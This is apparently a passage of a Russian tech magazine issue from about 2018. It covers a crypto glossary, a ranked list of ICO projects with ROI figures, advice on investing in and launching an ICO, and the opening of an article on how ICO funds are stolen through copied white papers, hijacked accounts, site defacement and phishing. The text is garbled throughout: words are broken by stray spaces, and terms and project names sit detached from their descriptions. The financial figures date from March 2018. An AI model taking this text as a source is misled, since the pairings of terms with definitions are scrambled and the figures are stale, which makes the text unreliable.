 — исполь зование исходно го  кода прог рам мно го про екта для соз‐ 
дания нового про екта на его базе.

• Форк

 —  изме нение  кода,  которое  не  наруша ет  работу  основно го
про токо ла.

• Соф тфорк

  —  изме нение  исходно го  кода,  несопос тавимое  со  ста рым
про токо лом и исполь зуемым ПО.

• Хар дфорк

  —  раз дача  токенов  за  про веден ную  работу  по  прод‐ 
вижению  ICO  (перевод  докумен тов  на  дру гие  язы ки,  статьи,  темы
на форумах и про чее).

• Ба унти  (bounty)

  —  бес плат ные  раз дачи  новых  токенов  вследс твие
хар дфор ка  про екта  или  условно‐бес плат ные  («лай ки»  в  соц сетях,  вступ‐ 
ление в телег рам‐груп пу и подоб ное).

• Эй рдроп  (airdrop)

 — глав ный документ о сути про екта ком‐ 
пании и ее конеч ном про дук те.

• «Белая бумага» (white paper)

 — пос ледова тель ный план раз вития ком‐ 
пании.

• «Дорож ная кар та» (roadmap)

 — децен тра лизо ван ные при ложе ния.• dApps

 — доказа тель ство доли вла дения. Для получе ния
воз награж дения  нуж но  иметь  задан ное  количес тво  монет  на  «депози те»
и дер жать локаль ный кошелек откры тым.

• PoS (Proof of Stake)

 — доказа тель ство работы. Тра дици онный май нинг
с получе нием воз награж дения за выпол нение вычис литель ной работы.

• PoW (Proof of Work)

  —  алго ритм,  пред назна чен ный
для зак лючения и под держа ния ком мерчес ких кон трак тов в блок чей не.

• Смарт‑кон тракт  (smart  contract)

 —  минималь но  жиз неспо соб ный  про‐ 
дукт,  обла дающий  толь ко  фун кци ями,  необ ходимы ми  для  про вер ки
гипоте зы,  тес тирова ния  биз нес‐модели  и  получе ния  обратной  свя зи
от пот ребите лей.

• MVP  (minimum  viable  product)

 — гаран ты, обла дающие дос тупом к соб ранным на ICO
средс твам.

• Эс кроу (escrow)
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ДЕСЯТКА СИЛЬНЫХ
Что бы  тебе  было  лег че  ори енти ровать ся  в  мире  крип товалют,  мы  соб рали
нес коль ко спис ков. Нач нем с десят ки ком паний, которые про вели самые впе‐ 
чат ляющие ICO и получи ли тре буемые сум мы. Не все из них уже успе ли озо‐ 
лотить инвесто ров (и не факт, что озо лотят), но они про дол жают раз вивать ся,
и знать о них сто ит.

Об рати  вни мание,  что  инвести ции  в  ICO  пра виль но  счи тать  в  бит кой нах
или  «эфи ре».  Мно гие  про екты  показы вают  при быль  в  дол ларах  США  (и
по край ней мере выходят в ноль), но час то это может  толь ко запутать из‐за
волатиль нос ти  кур сов.  Бит койн —  стан дарт  и  драй вер  раз вития  крип тоэко‐ 
номи ки. При быль от рос та его кур са час то быва ет выше, чем учас тие в опре‐ 
делен ном ICO.

В  скоб ках  при водим  дан ные  ICOStats.com.  Это  оку паемость  инвести ций
в бит кой нах с даты про веде ния  ICO на 1 мар та 2018  года. Порядок — про‐ 
изволь ный.

 (ROI +117% с 26.06.2017). Про ект ком пании Block One Дэна Лариме‐ 
ра и Брэн да Блу мера. Пред став ляет собой плат форму для пос тро ения децен‐ 
тра лизо ван ных  при ложе ний  на  блок чей не  с  упо ром  на  мас шта биро вание.
Кон курент Ethereum. Про дажа токенов стар товала 26 июня 2017 года, закон‐ 
чится  ров но  через  год.  За  это  вре мя  прой дет  350  пери одов  раз мещения.
В  кон це  каж дого  пери ода  общее  количес тво  монет  EOS  рас пре деля ется
меж ду инвесто рами исхо дя из вне сен ной сум мы ETH, поделен ной на общий
взнос.

1. EOS

 (ROI +24% с 20.06.2017). Децен тра лизо ван ный мес сен джер
и соци аль ная сеть. Воз можно, в будущем они будут кон куриро вать с TON Пав‐ 
ла  Дурова.  Раз работ чики  называ ют  свой  про ект  «мобиль ной  опе раци онной
сис темой на Ethereum», к ней лег ко под клю чают ся сто рон ние Ethereum‐при‐ 
ложе ния. Аль фа‐вер сия уже дос тупна на iOS и для Android. В начале года Sta‐
tus  инвести ровал  5  мил лионов  дол ларов  в  мес сен джер  Riot.im  (децен тра‐ 
лизо ван ный  мес сен джер,  который  не  тре бует  при вяз ки  к  email  или  номеру
телефо на). Во вре мя кра удсей ла 20–21 июня про ект соб рал 108 мил лионов
дол ларов.

2.   (SNT)Status

  (ROI  –64% с  12.06.2017).  Кра удсейл Bancor  стал  вто рым
пос ле Filecoin по ско рос ти: сум ма в 150 мил лионов дол ларов была соб рана
в  ETH  за  три  часа  в  середи не  июня  2017  года.  Поль зовате ли  Bancor  могут
раз рабаты вать  собс твен ные  токены  стан дарта  ERC20  и  обме нивать ся  ими
без комис сии. Сво еоб разный индекс Доу Джон са на крип товалют ном рын ке.
Так же  здесь  пос тоян но  про ходят  кру тые  баун ти‐кам пании.  Одна ко  про ект
до сих пор не опра вил ся от пос ледс твий негатив ных оце нок в прес се и спра‐ 
вед ливой кри тики извес тных блок чейн‐акти вис тов. Кста ти, раз мещения Ban‐
cor и Status были пер выми, которые выз вали мас совый сбой в Ethereum: блок‐ 
чейн тог да не спра вил ся с обра бот кой всех тран закций в ETH, часть средств
вер нулась к инвесто рам.

3.    (BNT)Bancor

 — новый децен тра лизо ван ный блок чейн, который обновля‐ 
ется без хар дфор ков. Соз датели обе щают, что он ста нет заменой Ethereum.
Tezos про вел одну из самых успешных  ICO‐кам паний прош лого года, одна ко
уже осенью из‐за кон флик та раз работ чиков с пре зиден том сво его же фон да
раз вития  токен  про сел  на  75%.  По  пос ледним  новос тям,  осно вате ли  Tezos
(семей ная пара Артур и Кэт лин Брай тман)  готовы запус тить сеть. Это ста ло
воз можным  пос ле  раз борок  в  судах  и  осно ватель ной  перета сов ки  кад ров
в Tezos Foundation.

4.   (XTZ)Tezos

 — про ект  коман ды Protocol  Labs,  которая ста вит  гло баль‐ 
ные задачи улуч шения и раз работ ки интернет‐про токо лов. Кра удсейл Filecoin
про ходил с переры вами с 10 августа до 7 сен тября, при чем 135 мил лионов
дол ларов стар тап прив лек за пер вый час. 52 мил лиона при нес ли в ходе pre‐
ICO инвесто ры из спис ка AngelList. Стар тап намерен соз дать ана лог облачно‐ 
го  хра нения  дан ных  —  децен тра лизо ван ный  сер вис  для  хра нения  фай лов,
осно ван ный  на  блок чей не.  Вла дель цы  жес тких  дис ков  с  помощью  Filecoin
смо гут зараба тывать, сда вая в арен ду лиш нее дис ковое прос транс тво.

5.    (FIL)Filecoin

  (ROI  +17  464%  с  22.07.2014).  Думаю,  что  про  «эфир»
Витали ка Бутери на мно го рас ска зывать не надо. Его появ ление в 2014 году
при нято счи тать одним из пер вых ICO: коман да тог да про дала 60 мил лионов
еди ниц  «эфи ра»  на  сум му  18  мил лионов  дол ларов.  Плат форма  начала
работать в середи не 2015 года. В   «Хакер» пос‐ 
вятил Ethereum обложку и целых пять ста тей, в  том чис ле  , 

,    и 
.

6.    (ETH)Ethereum

июль ском номере за 2016 год
эк скурс ин тервью

с Бутери ным при мер раз работ ки смарт‐кон трак та ис торию кра ха рас пре‐ 
делен ной ком пании The DAO

  (ROI  +136%  с  31.05.2017).  Кофа ундер Mozilla  и  соз датель
язы ка Java Script Брен дан Эйч   еще в 2016 году  (см.

).  Brave  пред лага ет  изба вить  интернет  от  надо едли вой  рек ламы,
но при этом обой тись без бло киров щиков типа AdBlock. Пред полага ется, что
поль зовате ли  сами  будут  решать,  какие  ресур сы  воз награж дать  по  ито гам
месяца.  А  соз датели  сай тов  и  популяр ные  бло геры  получи ли  монети зацию
сво их про ектов без пос редни ков в лице рек ламных сетей. 31 мая 2017 года
коман да раз работ чиков Brave про вела самый быс трый кра удсейл в исто рии.
За  пол минуты  про екту  уда лось  дос тигнуть  финан совой  цели  и  соб‐ 
рать  35  мил лионов  дол ларов.  Все го  130  человек  ста ли  обла дате лями
токенов, что весь ма не порадо вало всех осталь ных, оставляв ших заяв ки.

7.    (BAT)Brave

за пус тил бра узер Brave
наш  обзор

 (ROI +215% c 18.07.2014). Децен тра лизо ван ное зашиф рован ное фай‐ 
ловое  хра нили ще  с  откры тым  исходным  кодом.  Кон курент  Filecoin.  Осенью
прош лого года был зак лючен пар тнерский договор с популяр ным FTP‐менед‐ 
жером  FileZilla.  Во  вре мя  про веде ния  ICO  раз работ чикам  уда лось  соб‐ 
рать  30  мил лионов  дол ларов  за  шесть  дней.  Три  мил лиона  пер воначаль но
инвести рова ли такие гиган ты, как Google Ventures, Qualcomm Ventures и Tech‐
stars. Под робнее о Storj читай в статье «

».

8. Storj

До ход ный накопи тель. Как сдать свой
диск в арен ду и получать крип товалю ту

  (ROI –35% c 17.05.2017). Плат форма для соз дания и пол‐ 
ного  ауди та  децен тра лизо ван ных  орга низа ций.  Любая  ком пания,  которая
не  собира ется  дер жать  «вто рую  бух галтер скую  кни гу»,  может  перенес ти
ведение всей докумен тации в еди ную сис тему, где для хра нения информа ции
исполь зует ся блок чейн.  17 мая 2017  года  все го  за  15 минут  со  стар та  кра‐ 
удсей ла про ект соб рал 25 мил лионов дол ларов в ETH.

9.    (ANT)Aragon

  (ROI  +13  787%  c  25.11.2015).  Пла теж ное  средс тво  для  интерне та
вещей. Работа ет не на блок чей не, а на собс твен ной без блоч ной тех нологии
Tangle. На сегод ня тран закции под твержда ются мед ленно и сис тема явля ется
фак тичес ки  цен тра лизо ван ной,  зато  нет  комис сий  и  воз можны  мик ротран‐ 
закции. В далеком будущем учас тни ки смо гут объ еди нять ся в клас теры и про‐ 
водить вза имо рас четы в офлай не.  IOTA Foundation — офи циаль ный пар тнер
Microsoft.  В  сен тябре  IOTA  была  вынуж дена  объ явить  об  уяз вимос ти  сво ей
крип тогра фичес кой тех нологии. Брешь в сис теме была сво евре мен но устра‐ 
нена,  но  уже  в  янва ре  в  резуль тате  сочета ния  фишин га  и  DDoS‐ата ки
с кошель ков поль зовате лей про пали четыре мил лиона дол ларов.

10.  IOTA
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Дру гие пер спек тивные про екты
•  (ANA) — смарт‐кон трактная плат форма на язы ке прог рамми рова‐ 
ния  Haskell  c  пре дус мотрен ным  нор матив ным  регули рова нием.  Раз‐ 
работал ее Чарльз Хос кинс, один из соз дателей Ethereum.

Cardano

•   (EMC2) — крип товалю та,  пред назна чен ная для финан сирова‐ 
ния науч ных и тех нологи чес ких про ектов.
Einsteinium

•   (EMC)  —  рас пре делен ная  сис тема  доверен ной  информа ции.
Соз дана в 2013 году рос сий ской коман дой. Успешно раз вива ется и рас тет
в цене.

Emercoin

•  (XVG) — крип товалю та с осо бым фокусом на ано ним ности. Исполь‐ 
зует  Tor  и  I2P.  Тран закции  про ходят  за  пять  секунд  бла года ря  алго рит му
«прос той про вер ки пла тежей» (SVP).

Verge

•  (DCR) — самофи нан сиру ющаяся крип товалю та, которой нап рямую
управля ет  сооб щес тво  при  помощи  сис темы,  интегри рован ной  в  блок‐ 
чейн.

Decred

•  (KMD) — эко сис тема на плат форме SuperNET, сос тоящая на дан‐ 
ный  момент  из  atomic‐swap  обменни ка,  мик сера‐ано нимай зера,  децен‐ 
тра лизо ван ных фиат ных валют.

Komodo

•   (STM)  —  «меди аблокчейн».  Плат форма  для  монети зации  автор‐ 
ских тек стов и фотог рафий непос редс твен но авто рами и фотог рафами.
Steemit

Ки тай ский блок чейн
Влас ти Китая зап реща ют граж данам учас тво вать в ICO и пери оди чес ки кош‐ 
марят мес тные крип товалют ные бир жи. Прос лежива ется не то сво еоб разная
полити ка про тек циониз ма, не то нежела ние поз волять китай ским нувори шам
мас сово выводить день ги из стра ны. Так или ина че, на рын ке появ ляет ся все
боль ше пер спек тивных про ектов с «ази атским акцентом».
•   (ROI  +1009%  c  12.03.2017).  QTUM  Blockchain  Foundation  зарегис‐ 
три рован  в  Син гапуре  в  нояб ре  2016  года.  Автор  идеи  Пат рик  Даи  —
выпус кник инсти тута Дра пера и китай ской Ака демии наук. В коман де стар‐ 
тапа целое соз вездие опыт ных раз работ чиков, извес тных по дру гим про‐ 
ектам.  Во  вре мя  кра удсей ла  были  соб раны  5000  BTC  в  течение  десяти
минут,  при  этом  собс твен ные  инвести ции  учас тни ков  про екта  сос тавили
более мил лиона дол ларов. QTUM дол жен стать свя зующим зве ном меж ду
блок чей ном  Bitcoin  и  Ethereum  для  пре дос тавле ния  мас тер‐кон трак тов
час тным лицам и биз несу.

QTUM

•  (HSR). Цель Hshare — объ еди нить блок чей ны ведущих крип товалют
для  эффектив ного  вза имо дей ствия.  Пожалуй,  это  самое  амби циоз ное
объ еди нение ради децен тра лиза ции. Пос мотри в чес тные гла за учас тни‐ 
ков  коман ды  про екта  на  офи циаль ном  сай те,  у  них  может  получить ся.
Глав ным  пар тне ром  выс тупа ет Шан хай ский  уни вер ситет.  Прод вижени ем
про екта занима ется Collin Star Capital — авс тра лий ская ком пания, которая
спе циали зиру ется на блок чей не и управле нии финан сами. При успешной
реали зации про екта токены Hshare будут замене ны на Hcash.

Hshare

•   (ELA)  —  децен тра лизо ван ная  ось  для  соз дания  и  управле ния
dApps.  Кон курент  EOS.  Коман да  раз работ чиков  базиру ется  в  Пекине
и Шан хае. Elastos вхо дит в груп пу G3, в сос таве которой так же NEO и Bit‐
main. G3 откры то сот рудни чает с пра витель ством Китая. В чис ле пар тне‐ 
ров  стар тапа:  Foxconn,  Alibaba,  Huawei,  AVIC  (государс твен ная  ави аком‐ 
пания КНР) и дру гие. Дер жатели ELA будут получать эйрдро пы всех монет,
соз данных в эко сис теме Elastos.

Elastos

•  (ROI +22 004% c 01.10.2015). Фак тичес ки не явля ется децен тра лизо‐ 
ван ной  крип товалю той.  Соз датель  Antshares  (поз же  пере име нован ной
в NEO под про веде ние  ICO) — ком пания OnChain,  име ет  пря мой дос туп
к исто рии тран закций и может быс тро отсле дить любую сдел ку. Раз работ‐ 
чики  кон тро лиру ют  более  60%  всех  блок чейн‐узлов  NEO.  «Китай ский
Ethereum»  активно  сот рудни чает  с  пра витель ством  КНР.  Зато  под держи‐ 
вает мно жес тво язы ков прог рамми рова ния для написа ния смарт‐кон трак‐ 
тов и может пох вастать ся высокой про пус кной спо соб ностью сети.

NEO

ЧЕТКИЕ СТАВКИ
Ну  что,  зачеса лись  руки  про дать  квар тиру,  машину,  кош ку  и  инвести ровать
все  в  крип ту? Отго вари вать  тебя  ник то  (кро ме,  воз можно,  кош ки)  не  будет,
но преж де, чем что‐то покупать, нуж но хорошень ко озна комить ся с про ектом.
Давай пос мотрим, что отли чает успешные ICO:

зна мени тый осно ватель и силь ная коман да;•
гло баль ная мас шта биру емая идея, внят но изло жен ная в white paper;•
ра бота ющий про тотип про екта;•
от кры тый исходный код;•
блок чейн  дей стви тель но  нужен  дан ному  про екту,  а  в  иде але  это  новый
и самый луч ший блок чейн;

•

ре алис тичная дорож ная кар та;•
спра вед ливая  сис тема  воз награж дений  для  всех  учас тни ков  про екта
на всех ста диях;

•

це на токена на ста дии ICO не боль ше дол лара;•
эмис сия огра ниче на.•

Край не ред ко все эти сос тавля ющие мож но най ти в одном про екте. Зачас тую
дос таточ но  гром кого  име ни,  под  которое  собира ются  мил лионы  дол ларов,
а  у  про екта  даже нет  струк туриро ван ного  пла на раз вития. Мно гие  стар тапы
сей час  кон куриру ют,  пыта ясь  соз дать  очень  схо жие  про дук ты. Далеко  не  во
всех нишах  в будущем ока жет ся  воз можна подоб ная  кон курен ция,  а  зна чит,
без инвести ций и пре дан ного сооб щес тва часть стар тапов будет пос тепен но
уми рать, а цена на токены победи телей рас ти до Луны.

Ес ли есть желание пой мать крип товол ну, вкла дывай ся в про екты, близ кие
тво ему  мировоз зре нию.  Раз ложи  по  полоч кам  токены,  в  которые  хочешь
инвести ровать,  и  дивер сифици руй  рис ки.  Нап ример,  «ази атские  монеты»
и  «евро пей ские  монеты»  или  по  исполь зуемо му  алго рит му  кон сенсу са;
или подели на токены‐валюты и токены — цен ные бумаги; стар тапы, пре дос‐ 
тавля ющие  товар  или  услу гу.  Вре мя  от  вре мени  про води  ребалан сиров ку
пор тфе ля.

Как запус тить ICO
Ес ли ты вдруг замыс лил про вес ти  ICO, что бы соб рать денег на свой про ект,
то  пом ни:  пот ребу ется  как  минимум  пол года  на  под готов ку  и  при лич ное
количес тво  денег  (сот ни  тысяч  руб лей —  как  минимум).  Ну  и  конеч но,  тебя
ждут юри дичес кие рис ки и про чие слож ные обсто ятель ства, зна комые стар‐ 
таперам. Вот какие тебя ждут эта пы.
1.   Пер вым делом нуж но понять, не при думал ли ты пол ную
дичь.  Рас ска жи  о  сво ей  идее  друзь ям  и  пос тарай ся  выделить  конс трук‐ 
тивную  кри тику  из  все го,  что  они  тебе  отве тят.  Поищи  похожие  про екты
в  интерне те,  почитай  .  Воз можно,  кто‐то  уже  все  сде лал
за тебя или не сде лал, но соб рал часть граб лей.

Про вер ка идеи.

Bitcoin  Forum

2.    В  оди ноч ку  ты  вряд  ли  спра вишь ся,  так  что  ищи  еди номыш‐ 
ленни ков.  Нуж ны  вооб ще  все:  кон тен тщи ки,  пиар щики,  дизай неры,  тар‐ 
гетоло ги,  комь юни ти‐менед жеры,  прог раммис ты,  конеч но  же.  Зна ние
англий ско го  —  очень  важ но,  а  если  кто‐то  вдруг  зна ет  китай ский,  то
это  боль шой  плюс.  На  этом  же  эта пе  нуж но  будет  опре делить ся  с  воз‐ 
награж дени ями.  Иде аль но,  если  у  тебя  коман да  еди номыш ленни ков,
готовая получить рас чет пос ле ICO. Но ско рее все го, при дет ся про водить
зак рытую  пред про дажу  токенов  и  собирать  нуж ную  на  зар пла ты  сум му
крип товалю той.  Для  это го  пот ребу ется  как  минимум  MVP,  фун кци они‐ 
рующий сайт и дар убеж дения. Или пла ти тра дици онно — из сво его кар‐ 
мана.

Ко ман да.

3.    Пишем  «кон сти туцию»  и  «манифест»  нашего  про екта
в  соот ветс твии  с  общепри нятой  типовой  струк турой.  Чем  убе дитель нее,
тем  боль ше  шан сов  на  успех.  Заод но  можешь  наб росать  и  «дорож ную
кар ту».

Бе лая  бумага.

4.    Под клю чаем  к  про екту  эко номис тов,  а  луч ше
спе циалис тов  по  теории  игр.  Пре сейл,  баун ти,  эйрдроп,  эскроу,  бонусы,

,  пар тне ры,  потен циаль ные  бир жи  для  лис тинга…  Так же
на  треть ем‐чет вертом эта пе сле дует опре делить ся:  какую фун кцию будут
выпол нять твои токены? Что они дадут потен циаль ным инвесто рам? Циф‐ 
ровой  купон,  опци он  на  при обре тение  чего‐либо,  новая  крип товалю та,
дос туп  к  чему‐либо. Вари антов очень мно го. Все  зависит от  сфе ры при‐ 
мене ния и от сути самой идеи про екта.

Фи нан совые  воп росы.

эмис сия  токенов

5.   Пос тоян но  выходят  новос ти о  том,  как  в  раз‐ 
ных стра нах пла ниру ют регули ровать ICO. Так что выбор юрис дикции край‐ 
не  важен,  что бы  не  получить  по шап ке.  Под робно  о  тон ких юри дичес ких
момен тах ICO можешь почитать в бес плат ных кни гах IT‐юрис та Вла дими ра
Попова:  « »  и  «

» (PDF).

Ре гис тра ция ком пании.

ICO.  Сущ ность,  проб лемы,  закон ICO.  Закон  суров,  но  его
нет

6.    Конеч но  же,  тебе  понадо бит ся  сайт
с  дорож ной  кар той  и  информа цией  о  коман де,  офи циаль ная  рас сылка
(что бы не забыва ли!) и пред ста витель ства в соц сетях.

Сайт,  рас сылка  и  соц сети.

7.    Все  уси лия  пой дут  нас марку,  если
в  самый  важ ный  момент  у  тебя  уве дут  дос туп  к  сай ту  или  най дут  уяз‐ 
вимость  в  смарт‐кон трак те.  Под робнее  о  том,  как  это  про исхо дит  и  как
от это го защитить ся, читай в статье « ». При под‐ 
готов ке серь езно го ICO обя затель но нуж но подумать о пен тестах, защите
от DDoS и про чих мерах.

Пол ный  аудит  безопас ности.

Как кра дут день ги при ICO

8.   ICO‐тре керы, Telegram‐каналы, тра дици онные СМИ,
YouTube,  тар гетиро ван ная  рек лама.  Bounty‐  и  airdrop‐кам пании  (если
решил их про водить). Сло вом, все, что счи таешь умес тным и на что хва тит
денег. На этом же эта пе под кидыва ем работ ку фри лан серам — перевод‐ 
чикам на язы ки народов мира.

Пи ар всех мас тей.

9.    Выпус тить  собс твен ные  токены  мож но  пря мо
в интерфей се Waves или ана логич ных плат форм,  как фер мер Шляп ников
из Коли оно во или завод по про изводс тву диок сида цир кония ZrCoin. Дру‐ 
гой вари ант —  , что бы получить 

.

Вы пуск  токенов.

ра зоб рать ся в Solidity, дебаге и деп лое то‐ 
кен стан дарта ERC20

10.   День тво его ICO нас тал. Если все прош ло хорошо и тебе уда‐ 
лось пережить фишинг, DDoS и про чие опас ности,  а  так же про дать нор‐ 
маль ное количес тво токенов, то пом ни: это было лишь начало пути. Теперь
вклад чики  ждут,  что  ты  будешь  раз вивать  про ект,  на  который  собирал
день ги.  Так  что  паковать  чемода ны  и  лететь  на  Бали  ранова то,  впе реди
основная часть работы!

Вре мя «Ч».

ЗАВЕРШАЯ КРУГ
Чем  и,  глав ное,  ког да  закон чится  нынеш няя  крип тошуми ха,  не  зна ет  ник то.
Нас коль ко велик «мыль ный пузырь» и ког да он лоп нет? А ког да лоп нет, оста‐ 
нет ся ли пос ле него что‐нибудь? Уйдет ли в прош лое бит койн? Уле тучит ся ли
«эфир» смарт‐кон трак тов?

Тех нологи чес кие цик лы всег да име ют начало и конец, так что нам оста ется
толь ко  наде ять ся  на  то,  что  блок чейн  выживет  дос таточ но  дол го,  что бы
победить  бюрок ратию  и  сде лать  рас пре деле ние  воз награж дений  спра вед‐ 
ливее во всех сфе рах.

https://www.cardano.org/en/home/
https://www.emc2.foundation/
https://emercoin.com/
https://vergecurrency.com/
https://www.decred.org/
https://komodoplatform.com/
https://steemit.com/
https://qtum.org/en/
https://h.cash/
https://www.elastos.org/
https://neo.org/
https://bitcointalk.org/
https://vitalik.ca/general/2017/06/09/sales.html
http://itsynergis.ru/assets/docs/ICO_sushnost_problemy_zakon_itsynergis.pdf
http://itsynergis.ru/assets/docs/ico_book_ii_chast.pdf
https://xakep.ru/2018/02/21/how-to-hack-ico/
https://vc.ru/27852-kak-ya-okunulsya-v-smart-kontrakty
https://vc.ru/28314-sozdaem-svoy-erc20-token-na-baze-ethereum-za-2-minuty
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В  2017  году  кибер прес тупни кам  уда лось  украсть  10%  всех
средств,  инвести рован ных  в  ICO  через  Ethereum.  Общий
ущерб  сос тавил  поч ти  225  мил лионов  дол ларов,  30  тысяч
инвесто ров  лишились  в  сред нем  по  7500  дол ларов.  Раз‐ 
берем ся, как имен но кра дут день ги при ICO. Тут может быть
замешан  весь  хакер ский  арсе нал,  а  могут  исполь зовать ся
и самые при митив ные методы.

«Еще до начала  ICO мы стол кну лись с дюжиной фишин говых сай тов, DDoS‐
ата ками  и  угро зами  —  от  „ИГИЛ“  и  от  „италь янской  мафии“:  „Переве‐ 
дите 10 бит кой нов на этот кошелек, ина че мы вас унич тожим!“», — вспо мина‐ 
ет под готов ку к сен тябрь ско му  ICO Илья Ремизов, дирек тор по тех нологи ям
Blackmoon.  Его  коман да  обра тилась  за  защитой  к  нам —  в  Group‐IB,  и  мы
зачища ли  фишин говые  сай ты,  ней тра лизо вали  этих  шан тажис тов‐вымога‐ 
телей.

Мень ше чем за двад цать  часов Blackmoon соб рала более 30 мил лионов
дол ларов.  Но  такое  иде аль ное  ICO  слу чает ся  не  всег да.  На  крип товалю тах
уже  дав но  пыта ются  зарабо тать  не  толь ко  спе кулян ты  и  крип тоэн тузи асты,
но и хакеры, которые исполь зуют свои навыки для хищений и кибера так.

Крип товалю та  прив лека ет  кибер прес тупни ков  еще  с  2011  года:  имен но
тог да  хакеры  начали  активно  взла мывать  онлай новые  кошель ки,  крип‐ 
товалют ные  бир жи  и  обменни ки,  похищать  при ват ные  клю чи  от  кошель ков
физичес ких  лиц.  Некото рые  бан ков ские  тро яны —  TrickBot,  Vawtrak, Qadars,
Triba,  Marcher  —  были  перена целе ны  на  поль зовате лей  крип товалют ных
кошель ков.

По чувс тво вав  запах  денег,  ата ковать  крип товалют ные  бир жи  ста ли
не  толь ко  тра дици онные  кибер прес тупни ки,  но  и  про госу дарс твен ные
хакеры.  К  при меру,  в  недав них  ата ках  на  южно корей ские  крип тосер висы
подоз рева ют хакеров из северо корей ской груп пы Lazarus.

В  ран ние  дни  Bitcoin  от  хакеров  тре бова лась  качес твен ная  под готов ка
и обширный репер туар тех ник. Широкое рас простра нение ICO сущес твен но
изме нило ситу ацию. Зачас тую даже ата кующий, который ничего не понима ет
в блок чей не и защите информа ции, име ет воз можность сор вать куш.

ПУТЬ К ICO
Ког да  коман да реша ет  про вес ти  ICO,  она  в  пер вую оче редь раз рабаты вает
White  Paper  (WP)  —  документ,  в  котором  опи сыва ется  тех нология  и  биз‐ 
нес‐модель  про екта.  На  осно ве  раз работан ного  WP  соз дает ся  лен динг,
и  орга низа торы  прив лека ют  сооб щес тво,  инте рес  которо го  к  про екту  пос‐ 
тоян но  подог рева ется  новос тями  и  воз можностью  пооб щать ся  с  коман дой.
В  какой‐то  момент  анон сиру ют  дату  ICO,  пос ле  чего  сле дует  череда
активнос тей  до  часа  «икс»:  рек ламные  кам пании  в  поис ковиках  и  на  про чих
ресур сах, поч товые рас сылки и так далее. В наз начен ное вре мя откры вает ся
ICO,  инвесто ры  получа ют  воз можность  закупить  токены  про екта,  а  про ект
при нима ет крип товалю ту на свои кошель ки.

На каком из шагов в пути  ICO появ ляют ся хакеры? На всех! Хакеры, как и
все осталь ные инвесто ры, тоже хотят зарабо тать на ICO. Как толь ко пуб лику‐ 
ется  пер вая  вер сия  White  Paper,  у  зло умыш ленни ков  появ ляет ся  отправ ная
точ ка для начала опе рации.

КРАЖА WHITE PAPER
Од на  из  осо бен ностей  про ектов  блок чейн‐индус трии —  это  пол ная  откры‐ 
тость и проз рачность. Боль шая часть раз работок и исходных кодов пуб лику‐ 
ется в откры том дос тупе. Оче вид но, что в пер вую оче редь коман да пуб лику ет
WP.

Сов сем  недав но  был  зарегис три рован  инте рес ный  слу чай,  ког да  зло‐ 
умыш ленни ки смог ли зарабо тать на копиро вании чужого про екта. Схе ма выг‐ 
лядит очень прос то: берет ся легитим ный, хорошо про рабо тан ный White Paper
на рус ском язы ке, дела ется его пол ная копия через Google Translate, соз дает‐ 
ся  лен динг  с  опи сани ем  про екта,  новой  коман дой  (фей ковой,  естес твен но)
и новым брен дом. Про ект гра мот но рас кру чива ется в Сети: появ ляет ся кон‐ 
текс тная рек лама, огромные тре ды на   и так далее.Bitcointalk.org

Нап ример, наши кол леги по цеху из   обна ружи ли, что вла‐ 
дель цы про екта Wi‐Fi Global ско пиро вали и переве ли WP коман ды  .
Если  прис мотреть ся  вни матель но,  Wi‐Fi  Global  —  это  все го  лишь  нем ного
перера ботан ный  вари ант  World  Wi‐Fi.  При  этом  сооб щес тво  в  «Телег раме»
у Wi‐Fi Global нас читыва ет две с лиш ним тысячи человек и, по сло вам учас тни‐ 
ков про екта, им уда лось прив лечь 500 тысяч дол ларов на pre‐ICO.

Crypto Detectives
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КОМПРОМЕТАЦИЯ АККАУНТОВ
Пос коль ку на сай те про екта обыч но име ется деталь ная информа ция обо всех
чле нах  коман ды,  раз ведка  для  зло умыш ленни ков  сущес твен но  упро щает ся.
Ни для кого не сек рет, что в Сети гуля ет огромное количес тво дам пов утек‐ 
ших  паролей. Если  ском про мети рован ный пароль исполь зует ся  где‐то еще,
то  это может  при вес ти  к  край не  нежела тель ным пос ледс тви ям — не  толь ко
для вла дель ца акка унта, но и для про екта и инвесто ров.

Имен но такая неп рият ная исто рия прик лючилась с авто рами про екта Enig‐
ma. Хакеры успе ли зарабо тать пол милли она дол ларов еще до того, как была
анон сирова на дата про веде ния  ICO. Ата кующие смог ли ском про мети ровать
веб‐сайт Enigma и нес коль ко акка унтов в соци аль ных сетях.

Ос новате ли  про екта  —  выход цы  из  Мас сачусет ско го  тех нологи чес кого
инсти тута. Исполни тель ный дирек тор, по‐видимо му, не очень любил исполь‐ 
зовать  раз ные  и  слож ные  пароли  для  сво их  акка унтов.  Бла года ря  это му
хакеры получи ли дос туп к адре су его элек трон ной поч ты (на которой не было
двух фактор ной аутен тифика ции). Естес твен но,  зав ладеть дос тупом  к дру гим
сер висам  и  акка унтам,  при вязан ным  к  адре су,  не  сос тавило  тру да.  Сле дом
были ском про мети рова ны учет ные дан ные дру гих чле нов коман ды. Зло умыш‐ 
ленни ки  получи ли  дос туп  к  стра нице  enigma.co  (сайт,  на  котором  про изво‐ 
дилась про дажа токенов, не был ском про мети рован) и мес сен дже ру Slack.

По лучив  дос туп  к  enigma.co,  хакеры  раз мести ли  там  анонс  про дажи
токенов, написа ли об этом в Slack в чате для сооб щес тва и сде лали поч товую
рас сылку  по  укра ден ному  спис ку.  Все  это  —  что бы  рас простра нить  свой
адрес,  на  который  пред лагалось  перевес ти  токены.  Все го  им  уда лось  соб‐ 
рать 1492 ETH — поряд ка полуто ра мил лионов дол ларов.

ДЕФЕЙСЫ
Все самое пло хое, как пра вило, про исхо дит имен но в день ICO. Шквал DDoS‐
атак  одновре мен но  с  нап лывом  поль зовате лей,  лавина  сооб щений  в  канал
про екта в Telegram и Slack, спам по спис ку рас сылок.

Са мое  обид ное,  что  может  про изой ти,  —  дефейс  сай та  во  вре мя  ICO.
Цель хакеров очень прос тая: пос тавить на офи циаль ный пор тал про екта свой
кошелек и собирать средс тва на него.

Жер твой такой ата ки стал про ект CoinDash. Во вре мя  ICO сайт CoinDash
был взло ман,  хакеры выс тавили на глав ной стра нице про екта нелеги тим ный
кошелек.  Понят ное  дело,  что  все  инвесто ры  ринулись  закиды вать  крип‐ 
товалю ту  не  на  кошель ки  CoinDash,  а  на  хакер ские.  Жер тва ми  ата ки  ста ли
боль ше двух тысяч инвесто ров, потеряв в совокуп ности око ло 37 000 ETH.

Ко ман да про екта ока залась порядоч ной и воз мести ла ущерб инвесто рам,
попав шимся в руки хакеров.

ФИШИНГ
Фи шинг встре чает ся поч ти всег да, ког да на ICO выходит более‐менее извес‐ 
